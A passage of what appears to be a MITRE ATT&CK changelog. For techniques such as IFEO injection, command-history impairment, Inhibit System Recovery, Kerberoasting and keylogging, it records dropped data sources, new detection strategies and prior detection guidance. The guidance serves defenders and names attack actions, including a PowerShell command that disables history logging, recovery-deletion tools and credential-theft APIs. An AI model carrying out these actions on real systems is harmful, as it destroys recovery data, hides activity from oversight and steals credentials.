x_mitre_data_sources	['Windows Registry: Windows Registry Key Modification', 'File: File Creation', 'Module: Module Load', 'Process: Process Creation', 'Service: Service Metadata', 'File: File Modification', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:57.767000+00:00	2025-10-24 17:49:13.820000+00:00
x_mitre_detection	Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious. Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data. Monitor for changes to environment variables, as well as the commands to implement these changes. Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so, abnormal process call trees). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates. Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.

[T1505.004] Server Software Component: IIS Components

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0017: Command (Command Execution)
DS0022: File (File Creation)
DS0022: File (File Modification)

New Detections (Detection Strategies -> Technique):

DET0068: Detection Strategy for T1505.004 - Malicious IIS Components

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Creation', 'Command: Command Execution', 'File: File Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:47:43.995000+00:00	2025-10-24 17:49:15.437000+00:00
x_mitre_detection	Monitor for creation and/or modification of files (especially DLLs on webservers) that could be abused as malicious ISAPI extensions/filters or IIS modules. Changes to `%windir%\system32\inetsrv\config\applicationhost.config` could indicate an IIS module installation.(Citation: Microsoft IIS Modules Overview 2007)(Citation: ESET IIS Malware 2021) Monitor execution and command-line arguments of `AppCmd.exe`, which may be abused to install malicious IIS modules.(Citation: Microsoft IIS Modules Overview 2007)(Citation: Unit 42 RGDoor Jan 2018)(Citation: ESET IIS Malware 2021)

[T1590.005] Gather Victim Network Information: IP Addresses

Current version: 1.0

New Detections (Detection Strategies -> Technique):

DET0815: Detection of IP Addresses

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:40:30.211000+00:00	2025-10-24 17:48:23.845000+00:00
x_mitre_detection	Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1591.003] Gather Victim Org Information: Identify Business Tempo

Current version: 1.0

New Detections (Detection Strategies -> Technique):

DET0849: Detection of Identify Business Tempo

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:40:43.647000+00:00	2025-10-24 17:48:31.764000+00:00
x_mitre_detection	Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1591.004] Gather Victim Org Information: Identify Roles

Current version: 1.0

New Detections (Detection Strategies -> Technique):

DET0807: Detection of Identify Roles

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:40:57.270000+00:00	2025-10-24 17:49:23.837000+00:00
x_mitre_detection	Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.

[T1546.012] Event Triggered Execution: Image File Execution Options Injection

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0024: Windows Registry (Windows Registry Key Modification)

New Detections (Detection Strategies -> Technique):

DET0422: Detection Strategy for IFEO Injection on Windows

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'Windows Registry: Windows Registry Key Modification', 'Process: Process Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:39.823000+00:00	2025-10-24 17:48:55.526000+00:00
x_mitre_detection	Monitor for abnormal usage of the GFlags tool as well as common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as `DEBUG_PROCESS` and `DEBUG_ONLY_THIS_PROCESS`. (Citation: Microsoft Dev Blog IFEO Mar 2010) Monitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as `RegCreateKeyEx` and `RegSetValueEx`. (Citation: Elastic Process Injection July 2017)

[T1562.003] Impair Defenses: Impair Command History Logging

Current version: 2.3

Dropped Detections (Data Components -> Technique):

DS0013: Sensor Health (Host Status)
DS0017: Command (Command Execution)

New Detections (Detection Strategies -> Technique):

DET0563: Detection Strategy for Impair Defenses via Impair Command History Logging across OS platforms.

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Sensor Health: Host Status', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:50.696000+00:00	2025-10-24 17:49:05.941000+00:00
x_mitre_detection	Correlating a user session with a distinct lack of new commands in their `.bash_history` can be a clue to suspicious behavior. Additionally, users checking or changing their `HISTCONTROL`, `HISTFILE`, or `HISTFILESIZE` environment variables may be suspicious. Monitor for modification of PowerShell command history settings through processes being created with `-HistorySaveStyle SaveNothing` command-line arguments and use of the PowerShell commands `Set-PSReadlineOption -HistorySaveStyle SaveNothing` and `Set-PSReadLineOption -HistorySavePath {File Path}`. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to clear or disable historical log data with built-in features native to the network device platform. Monitor such command activity for unexpected or unauthorized use of commands being run by non-standard users from non-standard locations.

[T1562] Impair Defenses

Current version: 1.7

Dropped Detections (Data Components -> Technique):

DS0002: User Account (User Account Modification)
DS0009: Process (OS API Execution)
DS0009: Process (Process Creation)
DS0009: Process (Process Metadata)
DS0009: Process (Process Modification)
DS0009: Process (Process Termination)
DS0012: Script (Script Execution)
DS0013: Sensor Health (Host Status)
DS0017: Command (Command Execution)
DS0018: Firewall (Firewall Disable)
DS0018: Firewall (Firewall Rule Modification)
DS0019: Service (Service Metadata)
DS0022: File (File Deletion)
DS0022: File (File Modification)
DS0024: Windows Registry (Windows Registry Key Deletion)
DS0024: Windows Registry (Windows Registry Key Modification)
DS0025: Cloud Service (Cloud Service Disable)
DS0025: Cloud Service (Cloud Service Modification)
DS0027: Driver (Driver Load)

New Detections (Detection Strategies -> Technique):

DET0317: Detection Strategy for Impair Defenses Across Platforms

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Modification', 'Cloud Service: Cloud Service Disable', 'Firewall: Firewall Rule Modification', 'Command: Command Execution', 'Script: Script Execution', 'Process: Process Modification', 'Windows Registry: Windows Registry Key Deletion', 'Process: Process Termination', 'Service: Service Metadata', 'Process: Process Metadata', 'Cloud Service: Cloud Service Modification', 'User Account: User Account Modification', 'File: File Deletion', 'Sensor Health: Host Status', 'Process: OS API Execution', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Driver: Driver Load', 'Firewall: Firewall Disable']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:24.596000+00:00	2025-10-24 17:48:41.123000+00:00
x_mitre_detection	Monitor processes and command-line arguments to see if security tools or logging services are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Lack of log events may be suspicious. Monitor environment variables and APIs that can be leveraged to disable security measures.

[T1525] Implant Internal Image

Current version: 2.2

Dropped Detections (Data Components -> Technique):

DS0007: Image (Image Creation)
DS0007: Image (Image Metadata)
DS0007: Image (Image Modification)

New Detections (Detection Strategies -> Technique):

DET0334: Detection Strategy for T1525 – Implant Internal Image

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Image: Image Metadata', 'Image: Image Creation', 'Image: Image Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 15:15:30.983000+00:00	2025-10-24 17:48:45.786000+00:00
x_mitre_detection	Monitor interactions with images and containers by users to identify ones that are added or modified anomalously. In containerized environments, changes may be detectable by monitoring the Docker daemon logs or setting up and monitoring Kubernetes audit logs depending on registry configuration.

[T1562.006] Impair Defenses: Indicator Blocking

Current version: 1.5

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0013: Sensor Health (Host Status)
DS0017: Command (Command Execution)
DS0024: Windows Registry (Windows Registry Key Modification)

New Detections (Detection Strategies -> Technique):

DET0239: Detection Strategy for Impair Defenses Indicator Blocking

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'Sensor Health: Host Status', 'Windows Registry: Windows Registry Key Modification', 'Process: Process Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:29:20.899000+00:00	2025-10-24 17:48:57.704000+00:00
x_mitre_detection	Detect lack of reported activity from a host sensor. Different methods of blocking may cause different disruptions in reporting. Systems may suddenly stop reporting all data or only certain kinds of data. Depending on the types of host information collected, an analyst may be able to detect the event that triggered a process to stop or connection to be blocked. For example, Sysmon will log when its configuration state has changed (Event ID 16) and Windows Management Instrumentation (WMI) may be used to subscribe ETW providers that log any provider removal from a specific trace session. (Citation: Medium Event Tracing Tampering 2018) To detect changes in ETW you can also monitor the registry key which contains configurations for all ETW event providers: `HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\AUTOLOGGER_NAME\{PROVIDER_GUID}`

[T1027.005] Obfuscated Files or Information: Indicator Removal from Tools

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0015: Application Log (Application Log Content)

New Detections (Detection Strategies -> Technique):

DET0189: Detection Strategy for Indicator Removal from Tools - Post-AV Evasion Modification

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Application Log: Application Log Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 20:37:19.031000+00:00	2025-10-24 17:49:13.906000+00:00
x_mitre_detection	The first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network.

[T1202] Indirect Command Execution

Current version: 1.3

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)

New Detections (Detection Strategies -> Technique):

DET0200: Indirect Command Execution – Windows utility abuse behavior chain

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'Process: Process Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:23.859000+00:00	2025-10-24 17:48:40.495000+00:00
x_mitre_detection	Monitor and analyze logs from host-based detection mechanisms, such as Sysmon, for events such as process creations that include or are resulting from parameters associated with invoking programs/commands/files and/or spawning child processes/network connections. (Citation: RSA Forfiles Aug 2017)

[T1490] Inhibit System Recovery

Current version: 1.6

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0010: Cloud Storage (Cloud Storage Deletion)
DS0017: Command (Command Execution)
DS0019: Service (Service Metadata)
DS0020: Snapshot (Snapshot Deletion)
DS0022: File (File Deletion)
DS0024: Windows Registry (Windows Registry Key Modification)

New Detections (Detection Strategies -> Technique):

DET0329: Behavioral Detection for T1490 - Inhibit System Recovery

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Cloud Storage: Cloud Storage Deletion', 'Command: Command Execution', 'Service: Service Metadata', 'Snapshot: Snapshot Deletion', 'File: File Deletion']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:22.100000+00:00	2025-10-24 17:49:37.297000+00:00
x_mitre_detection	Use process monitoring to monitor the execution and command line parameters of binaries involved in inhibiting system recovery, such as vssadmin, wbadmin, bcdedit, REAgentC, and diskshadow. The Windows event logs, ex. Event ID 524 indicating a system catalog was deleted, may contain entries associated with suspicious activity. Monitor the status of services involved in system recovery. Monitor the registry for changes associated with system recovery features (ex: the creation of `HKEY_CURRENT_USER\Software\Policies\Microsoft\PreviousVersions\DisableLocalPage`). For network infrastructure devices, collect AAA logging to monitor for `erase`, `format`, and `reload` commands being run in succession.

[T1056] Input Capture

Current version: 1.4

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0009: Process (Process Creation)
DS0009: Process (Process Metadata)
DS0011: Module (Module Load)
DS0017: Command (Command Execution)
DS0022: File (File Creation)
DS0022: File (File Modification)
DS0024: Windows Registry (Windows Registry Key Modification)
DS0027: Driver (Driver Load)

New Detections (Detection Strategies -> Technique):

DET0102: Behavioral Detection of Input Capture Across Platforms

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Modification', 'Process: Process Creation', 'Module: Module Load', 'File: File Creation', 'Windows Registry: Windows Registry Key Modification', 'Process: Process Metadata', 'Command: Command Execution', 'Process: OS API Execution', 'Driver: Driver Load']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:02.160000+00:00	2025-10-24 17:49:17.884000+00:00
x_mitre_detection	Detection may vary depending on how input is captured but may include monitoring for certain Windows API calls (e.g. `SetWindowsHook`, `GetKeyState`, and `GetAsyncKeyState`)(Citation: Adventures of a Keystroke), monitoring for malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), and ensuring no unauthorized drivers or kernel modules that could indicate keylogging or API hooking are present.

[T1608.003] Stage Capabilities: Install Digital Certificate

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0035: Internet Scan (Response Content)

New Detections (Detection Strategies -> Technique):

DET0840: Detection of Install Digital Certificate

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Internet Scan: Response Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:42:10.891000+00:00	2025-10-24 17:49:19.322000+00:00
x_mitre_detection	Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Detection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001) or [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002).

[T1553.004] Subvert Trust Controls: Install Root Certificate

Current version: 1.3

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0024: Windows Registry (Windows Registry Key Creation)
DS0024: Windows Registry (Windows Registry Key Modification)

New Detections (Detection Strategies -> Technique):

DET0056: Detection Strategy for Subvert Trust Controls via Install Root Certificate.

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Windows Registry: Windows Registry Key Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:06.251000+00:00	2025-10-24 17:49:21.832000+00:00
x_mitre_detection	A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity.(Citation: SpectorOps Code Signing Dec 2017) Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present. Microsoft provides a list of trustworthy root certificates online and through authroot.stl.(Citation: SpectorOps Code Signing Dec 2017) The Sysinternals Sigcheck utility can also be used (`sigcheck[64].exe -tuv`) to dump the contents of the certificate store and list valid certificates not rooted to the Microsoft Certificate Trust List.(Citation: Microsoft Sigcheck May 2017) Installed root certificates are located in the Registry under `HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates\` and `[HKLM or HKCU]\Software[\Policies\]\Microsoft\SystemCertificates\Root\Certificates\`. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison:(Citation: Tripwire AppUNBlocker) * 18F7C1FCC3090203FD5BAA2F861A754976C8DD25 * 245C97DF7514E7CF2DF8BE72AE957B9E04741E85 * 3B1EFD3A66EA28B16697394703A72CA340A05BD5 * 7F88CD7223F3C813818C994614A89C99FA3B5247 * 8F43288AD272F3103B6FB1428485EA3014C0BCFE * A43489159A520F0D93D032CCAF37E7FE20A8B419 * BE36A4562FB2EE05DBB3D32323ADF445084ED656 * CDD4EEAE6000AC7F40C3802C171E30148030C072

[T1218.004] System Binary Proxy Execution: InstallUtil

Current version: 2.1

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)

New Detections (Detection Strategies -> Technique):

DET0138: Detection of Malicious Code Execution via InstallUtil.exe

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Creation', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:46:11.581000+00:00	2025-10-24 17:48:34.798000+00:00
x_mitre_detection	Use process monitoring to monitor the execution and arguments of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the InstallUtil.exe invocation may also be useful in determining the origin and purpose of the binary being executed.

[T1559] Inter-Process Communication

Current version: 1.4

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Access)
DS0009: Process (Process Creation)
DS0011: Module (Module Load)
DS0012: Script (Script Execution)

New Detections (Detection Strategies -> Technique):

DET0493: Detect Abuse of Inter-Process Communication (T1559)

Details

dictionary_item_added
STIX Field	Old value	New Value
x_mitre_remote_support		False

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Module: Module Load', 'Process: Process Creation', 'Script: Script Execution', 'Process: Process Access']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:57.325000+00:00	2025-10-24 17:49:13.194000+00:00
x_mitre_detection	Monitor for strings in files/commands, loaded DLLs/libraries, or spawned processes that are associated with abuse of IPC mechanisms.

[T1491.001] Defacement: Internal Defacement

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0015: Application Log (Application Log Content)
DS0022: File (File Creation)
DS0022: File (File Modification)
DS0029: Network Traffic (Network Traffic Content)

New Detections (Detection Strategies -> Technique):

DET0082: Internal Website and System Content Defacement via UI or Messaging Modifications

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Creation', 'Network Traffic: Network Traffic Content', 'Application Log: Application Log Content', 'File: File Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:49.776000+00:00	2025-10-24 17:49:05.030000+00:00
x_mitre_detection	Monitor internal and websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.

[T1090.001] Proxy: Internal Proxy

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0029: Network Traffic (Network Connection Creation)
DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0075: Internal Proxy Behavior via Lateral Host-to-Host C2 Relay

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Connection Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:22.365000+00:00	2025-10-24 17:49:37.574000+00:00
x_mitre_detection	Analyze network data for uncommon data flows between clients that should not or often do not communicate with one another. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)

[T1534] Internal Spearphishing

Current version: 1.4

Dropped Detections (Data Components -> Technique):

DS0015: Application Log (Application Log Content)
DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0054: Internal Spearphishing via Trusted Accounts

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow', 'Application Log: Application Log Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:42:40.610000+00:00	2025-10-24 17:49:09.394000+00:00
x_mitre_detection	Network intrusion detection systems and email gateways usually do not scan internal email, but an organization can leverage the journaling-based solution which sends a copy of emails to a security service for offline analysis or incorporate service-integrated solutions using on-premise or API-based integrations to help detect internal spearphishing campaigns.(Citation: Trend Micro When Phishing Starts from the Inside 2017)

[T1036.001] Masquerading: Invalid Code Signature

Current version: 1.0

Dropped Detections (Data Components -> Technique):

DS0022: File (File Metadata)

New Detections (Detection Strategies -> Technique):

DET0031: Invalid Code Signature Execution Detection via Metadata and Behavioral Context

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Metadata']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:43:00.641000+00:00	2025-10-24 17:49:15.520000+00:00
x_mitre_detection	Collect and analyze signing certificate metadata and check signature validity on software that executes within the environment, look for invalid signatures as well as unusual certificate characteristics and outliers.

[T1059.007] Command and Scripting Interpreter: JavaScript

Current version: 2.2

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0011: Module (Module Load)
DS0012: Script (Script Execution)
DS0017: Command (Command Execution)

New Detections (Detection Strategies -> Technique):

DET0264: Cross-Platform Detection of JavaScript Execution Abuse

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Module: Module Load', 'Process: Process Creation', 'Script: Script Execution', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:43:16.394000+00:00	2025-10-24 17:48:24.217000+00:00
x_mitre_detection	Monitor for events associated with scripting execution, such as process activity, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving scripts, or loading of modules associated with scripting languages (ex: JScript.dll). Scripting execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programmable post-compromise behaviors and could be used as indicators of detection leading back to the source. Monitor for execution of JXA through `osascript` and usage of `OSAScript` API that may be related to other suspicious behavior occurring on the system. Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If scripting is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.

[T1001.001] Data Obfuscation: Junk Data

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0029: Network Traffic (Network Traffic Content)

New Detections (Detection Strategies -> Technique):

DET0011: Detecting Junk Data in C2 Channels via Behavioral Analysis

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:22.822000+00:00	2025-10-24 17:49:38.011000+00:00
x_mitre_detection	Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)

[T1558.003] Steal or Forge Kerberos Tickets: Kerberoasting

Current version: 1.3

Dropped Detections (Data Components -> Technique):

DS0026: Active Directory (Active Directory Credential Request)

New Detections (Detection Strategies -> Technique):

DET0157: Detect Kerberoasting Attempts (T1558.003)

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Active Directory: Active Directory Credential Request']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:20.912000+00:00	2025-10-24 17:49:36.038000+00:00
x_mitre_detection	Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]).(Citation: Microsoft Detecting Kerberoasting Feb 2018)(Citation: AdSecurity Cracking Kerberos Dec 2015)

[T1547.006] Boot or Logon Autostart Execution: Kernel Modules and Extensions

Current version: 1.4

Dropped Detections (Data Components -> Technique):

DS0008: Kernel (Kernel Module Load)
DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0022: File (File Creation)
DS0022: File (File Modification)

New Detections (Detection Strategies -> Technique):

DET0450: Detection Strategy for Kernel Modules and Extensions Autostart Execution

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'File: File Creation', 'File: File Modification', 'Kernel: Kernel Module Load', 'Process: Process Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:54.982000+00:00	2025-10-24 17:49:10.550000+00:00
x_mitre_detection	Loading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands: `modprobe`, `insmod`, `lsmod`, `rmmod`, or `modinfo` (Citation: Linux Loadable Kernel Module Insert and Remove LKMs) LKMs are typically loaded into `/lib/modules` and have had the extension .ko ("kernel object") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module) Adversaries may run commands on the target system before loading a malicious module in order to ensure that it is properly compiled. (Citation: iDefense Rootkit Overview) Adversaries may also execute commands to identify the exact version of the running Linux kernel and/or download multiple versions of the same .ko (kernel object) files to use the one appropriate for the running system.(Citation: Trend Micro Skidmap) Many LKMs require Linux headers (specific to the target kernel) in order to compile properly. These are typically obtained through the operating systems package manager and installed like a normal package. On Ubuntu and Debian based systems this can be accomplished by running: `apt-get install linux-headers-$(uname -r)` On RHEL and CentOS based systems this can be accomplished by running: `yum install kernel-devel-$(uname -r)` On macOS, monitor for execution of `kextload` commands and user installed kernel extensions performing abnormal and/or potentially malicious activity (such as creating network connections). Monitor for new rows added in the `kext_policy` table. KextPolicy stores a list of user approved (non Apple) kernel extensions and a partial history of loaded kernel modules in a SQLite database, `/var/db/SystemPolicyConfiguration/KextPolicy`.(Citation: User Approved Kernel Extension Pike’s)(Citation: Purves Kextpocalypse 2)(Citation: Apple Developer Configuration Profile)

[T1574.013] Hijack Execution Flow: KernelCallbackTable

Current version: 1.0

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)

New Detections (Detection Strategies -> Technique):

DET0577: Detection Strategy for Hijack Execution Flow through the KernelCallbackTable on Windows.

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: OS API Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:43:44.231000+00:00	2025-10-24 17:49:11.077000+00:00
x_mitre_detection	Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious behaviors that could relate to post-compromise behavior. Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances. for known bad sequence of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as `WriteProcessMemory()` and `NtQueryInformationProcess()` with the parameter set to `ProcessBasicInformation` may be used for this technique.(Citation: Lazarus APT January 2022)

[T1555.001] Credentials from Password Stores: Keychain

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0022: File (File Access)

New Detections (Detection Strategies -> Technique):

DET0396: Detect Access to macOS Keychain for Credential Theft

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'Process: Process Creation', 'Process: OS API Execution', 'File: File Access']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 22:44:01.937000+00:00	2025-10-24 17:48:29.756000+00:00
x_mitre_detection	Unlocking the keychain and using passwords from it is a very common process, so there is likely to be a lot of noise in any detection technique. Monitoring of system calls to the keychain can help determine if there is a suspicious process trying to access it.

[T1056.001] Input Capture: Keylogging

Current version: 1.3

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0024: Windows Registry (Windows Registry Key Modification)
DS0027: Driver (Driver Load)

New Detections (Detection Strategies -> Technique):

DET0089: Behavioral Detection of Keylogging Activity Across Platforms

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Driver: Driver Load', 'Process: OS API Execution', 'Windows Registry: Windows Registry Key Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:03.923000+00:00	2025-10-24 17:48:21.756000+00:00
x_mitre_detection	Keyloggers may take many forms, possibly involving modification to the Registry and installation of a driver, setting a hook, or polling to intercept keystrokes. Commonly used API calls include `SetWindowsHook`, `GetKeyState`, and `GetAsyncKeyState`.(Citation: Adventures of a Keystroke) Monitor the Registry and file system for such changes, monitor driver installs, and look for common keylogging API calls. API calls alone are not an indicator of keylogging, but may provide behavioral data that is useful when combined with other information such as new files written to disk and unusual processes.

[T1546.006] Event Triggered Execution: LC_LOAD_DYLIB Addition

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0011: Module (Module Load)
DS0017: Command (Command Execution)
DS0022: File (File Metadata)
DS0022: File (File Modification)

New Detections (Detection Strategies -> Technique):

